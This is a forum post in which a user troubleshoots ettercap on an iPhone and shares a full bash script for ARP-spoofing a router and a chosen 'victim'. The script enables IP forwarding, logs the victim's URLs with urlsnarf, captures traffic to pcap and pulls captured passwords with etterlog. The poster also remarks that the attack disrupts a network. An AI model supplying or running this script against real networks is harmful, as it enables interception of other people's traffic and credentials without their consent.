ok if i install the non GTK version from your repo, the -T works fine as well, so the GTK version may be broken as it dies from iconv and the gui closes after choosing an interface. cheers

however, still get ONLY SEND L3 ERROR: x byte packet (0800:x) destined to xxx.xxx.xxx.xxx was not forwarded (libnet_write_raw_ipv4() errors. Not a single packet gets through.
*edit* alsoooo
this is my etter.sh for text version:
#!/bin/bash
echo -n "Name of "Session"? (name of the folder that will be created with all the log files): "
read -e SESSION
mkdir /private/var/mobile/ettercap/
mkdir /private/var/mobile/ettercap/$SESSION/
echo "1" > /proc/sys/net/ipv4/ip_forward
urlsnarf -i en0 | grep http > /private/var/mobile/ettercap/$SESSION/$SESSION.txt &
ettercap -q -T -i en0 -w /private/var/mobile/ettercap/$SESSION/$SESSION.pcap -L /private/var/mobile/ettercap/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/
killall urlsnarf
etterlog -p -i /private/var/mobile/ettercap/$SESSION/$SESSION.ecinotice the "echo "1" > /proc/sys/net/ipv4/ip_forward "
this does not work for iphone, is there an alternative we can use? basically no packets get fowarded at all and i effectively kill a network xD
*edit2*
ok googling helped me find this:
sysctl -w net.inet.ip.forwarding=1
but still no good.
modified code:
#!/bin/bash
echo -n "Name of "Session"? (name of the folder that will be created with all the log files): "
read -e SESSION
mkdir /private/var/mobile/ettercap/
mkdir /private/var/mobile/ettercap/$SESSION/
sysctl -w net.inet.ip.forwarding=1
urlsnarf -i en0 | grep http > /private/var/mobile/ettercap/$SESSION/$SESSION.txt &
ettercap -q -T -i en0 -w /private/var/mobile/ettercap/$SESSION/$SESSION.pcap -L /private/var/mobile/ettercap/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/
sysctl -w net.inet.ip.forwarding=0
killall urlsnarf
etterlog -p -i /private/var/mobile/ettercap/$SESSION/$SESSION.ecifirst, i get SSL dissection needs a valid 'redir_command_on' script in the etter.conf file (i guess this is just a warning, not major)
but when its done blocking my packets and i hit 'q', it says:
Please restore manually the value of net.inet.ip.forwarding to 1
net.inet.ip.forwarding: 0 -> 0
so it is not being set? i tried adding a & at the end of the sysctrl line too, no difference.